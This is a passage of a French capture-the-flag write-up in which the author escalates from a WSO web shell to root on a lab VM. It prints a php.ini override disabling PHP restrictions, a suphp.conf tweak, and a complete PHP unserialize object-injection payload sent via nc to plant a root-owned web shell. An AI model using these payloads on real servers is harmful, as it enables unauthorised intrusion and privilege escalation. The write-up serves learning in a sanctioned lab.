L'analyse des droits d'accès sur "/home/devnull" me permet aussi de voir que j'ai eu de la chance de trouver le répertoire "img" pour envoyer mon code PHP car il s'agit du seul répertoire accessible en écriture et que sans ce répertoire j'étais condamnée à tenter d'écraser le fichier "index.php" ou le fichier "main.php" ..

[Interlude : je lis de la documentation sur PHP :-)]

Et après quelques heures à lire de la documentation sur toutes ces fonctions désactivées qui me gènent, le premier test que j'ai envie de faire est tout simplement d'uploader le fichier "php.ini" suivant dans le répertoire "/home/devnull/public_html/img/" puis de recharger ma backdoor WSO .. Apparement, la générale de PHP pourraît être surchargée par cette déclaration locale et je pourrais être en mesure de récupérer un shell plus "complet" :
safe_mode=OFF
disable_functions=NONE
safe_mode_gid=OFF
open_basedir=OFF
Je teste. Et il s'avère que c'était la bonne solution, la fonctionnalité "Server Security Information" de ma backdoor WSO est désormais totalement opérationnelle et ceci sans restrictions open_basedir :)


 _mon_ premier shell WSO (reloaded)


Maintenant que mon shell n'est plus restreint, que puis-je faire pour aller obtenir le contenu du fichier "/root/flag.txt" ? Utilisons un peu les fonctions offertes par notre backdoor WSO pour nous promener sur le système :
  • le répertoire "/root/" m'est interdit ;
  • le répertoire "/home/errorlevel/" m'est interdit ;
  • je ne vois à priori pas de fichier suid ou sgid anormaux au premier coup d'oeil et qui me seraient accessibles ;
  • Ho ho ho, dans la liste des fichiers/répertoires accessibles en écriture pour mon utilisateur se trouve le fichiers "suphp.conf" !
46461    4 -rwxrwxrwx   1 root     root          869 Apr 26 13:24 /etc/suphp/suphp.conf

et après avoir lu plusieurs fois la documentation située sur http://www.suphp.org/DocumentationView.html?file=CONFIG, je comprend qu'il me faudrait un programme :
  • dont le propriétaire serait root ;
  • qui serait situé dans l'un des DocumentRoot servi par mon serveur web.
.. et que j'ai intérêt à modifier de suite la configuration "suphp.conf" pour que "min_uid" et "min_gid" soient égales à 0 pour ne pas avoir chercher plus tard pourquoi ce que je souhaite faire ne fonctionne pas.

Me voilà donc partie à la recherche d'un script PHP dont le propriétaire serait l'utilisateur root, script que je trouve (comme par hasard :-p) à l'emplacement "/var/www/sec.php" et qui fait appel aux deux ressources que j'avais trouvées initialement dans le répertoire "/Classes/" sans avoir compris comment les utiliser :
/var/www/classes/Show.php
/var/www/classes/Test.php
Le fichier "/var/www/sec.php" appartenant à l'utilisateur root semble présenter une vulnérabilité me permettant du code sous mon contrôle à l'appel "unserialize" :
<?php
require "Classes/Test.php";
require "Classes/Show.php";
if(!empty($_POST['test'])){
    $d=$_POST['test'];
    $j=unserialize($d);
    echo $j;
}
?>
Le fichier de classe "/var/www/classes/Show.php" chargé par le script "sec.php" ne me semble pas présenter de vulnérabilité :
<?php
class Show {
    public $woot;
    function __toString(){ return "Showme"; }
    function Pwnme(){$this->woot="ROOT"; }
}
?>
Le fichier de classe "/var/www/classes/Test.php" chargé par le script "sec.php" me semble lui le fichier concerné par l'exploitation de la vulnérabilité de dé-sérialization (cela se dit vraiment ?) :
<?php
class Test {
    public $url;
    public $name_file;
    public $path;
    function __destruct(){
        $data=file_get_contents($this->url);
        $f=fopen($this->path."/".$this->name_file, "w");
        fwrite($f, $data);
        fclose($f);
        chmod($this->path."/".$this->name_file, 0644);
  }
}
?>
.. et devant tant de nouveaux horizons à conquérir, je ferme le pc, écoute ma nath chérie et vais dormir :-)

Jeudi on unserialize


Bach Orchestral suite numéro 3. Je pense que le contexte l'impose. Je sais déjà que laisser à l'utilisateur la capacité de faire un unserialize d'une variable sous son contrôle sans filtrage n'est pas une bonne idée.. mais comment exploiter ce type de vulnérabilité ?

Je cherche sur mon moteur de recherche préféré (ou toujours pas) et lis avec attention la page de l'OWASP sur le sujet (https://www.owasp.org/index.php/PHP_Object_Injection) qui semble traiter exactement de la vulnérabilité qui m'interesse et qui dans mon cas pourrait se résumer à :

  • j'ai un "__destruct()" qui va me permettre de donner l'url d'un fichier dont le contenu va être sauvegardé dans un fichier avec les permissions "644" et le tout sans aucun contrôle ;
  • je peux envoyer des données en POST dans une variable "test" qui va faire l'objet d'un "unserialize()" ;
  • le script "/var/www/sec.php" va être executé en tant que "root" par suphp car il appartient à "root" ;
  • l'exploitation de la vulnérabilité va me permettre d'écrire un script sous l'identité de "root" donc il faut que j'écrive mon fichier dans "/var/www/" ;
  • si j'écris un shell sous le propriétaire "root" et que je l'appelle, "suphp" me donnera un shell "root" ;

Bon cela me parait crystal clear comme dirait Nath :-) mais sur le coup j'ai vraiment l'impression de louper quelque chose car je ne comprend pas du tout à quoi peut me servir le fichier "Show.php".
Allons-y .. Si je comprends bien l'article de l'OWASP, je dois construire une requête du type : 
?test=O:4:"Test":3:{code} 
avec "code" qui me permet fixer trois variables : "url", "name_file" et "path"en spécifiant les valeurs suivantes :
s:4:"path";s:8:"/var/www";
s:9:"name_file";s:8:"root.php";
s:3:"url";s:37:"/home/devnull/public_html/img/wso.php"
donc ma requête devrait être :
http://Adresse_IP_VM/sec.php?test=O:4:"Test":3:{s:4:"path";s:8:"/var/www";s:9:"name_file";s:8:"root.php";s:3:"url";s:37:"/home/devnull/public_html/img/wso.php"}
non ?
Allez je me lance ..
et ca ne marche pas ..
bon qu'est ce qui cloche ?
10 minutes d'intense réflexion ..
Ha oui ! il faut que j'envoie cette requête en POST et pas en GET tete de linotte que je suis ..
nc Adresse_IP_VM 80
POST /sec.php HTTP/1.0
Host: Adresse_IP_VM
Content-Length: 131
Content-type: application/x-www-form-urlencoded
Connection: Close

test=O:4:"Test":3:{s:4:"path";s:8:"/var/www";s:9:"name_file";s:8:"root.php";s:3:"url";s:37:"/home/devnull/public_html/img/wso.php"}

HTTP/1.1 200 OK
Date: Thu, 11 Jun 2015 11:40:12 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.39-0+deb7u1
Vary: Accept-Encoding
Content-Length: 0
Connection: close
Content-Type: text/html

Pas de message d'erreur ? Game Over :-)


Conclusion


En conclusion j'ai adoré ce premier challenge. Comme l'avaient prévu le ou les auteurs, la frustration, la déception ou la surprise de ne pas être la hauteur, la recherche intensive d'information sur des sujets totalement inconnus, l'excitation d'avoir le clé d'une enigme et cette envie de chanter et de danser quand "ca marche" tout simplement.

Il m'aura fallu trois longues nuits, deux demi journées et une bonne vingtaine de café-versations pour parvenir à résoudre ce challenge mais en même temps :
Y a que les routes qui sont belles
Et peu importe où elles nous mènent
Oh belle, on ira, on suivra les étoiles et les chercheurs d'or
Si on en trouve, on cherchera encore
(Jean-Jacques Goldman - On ira)
Jess - @JessicaGallante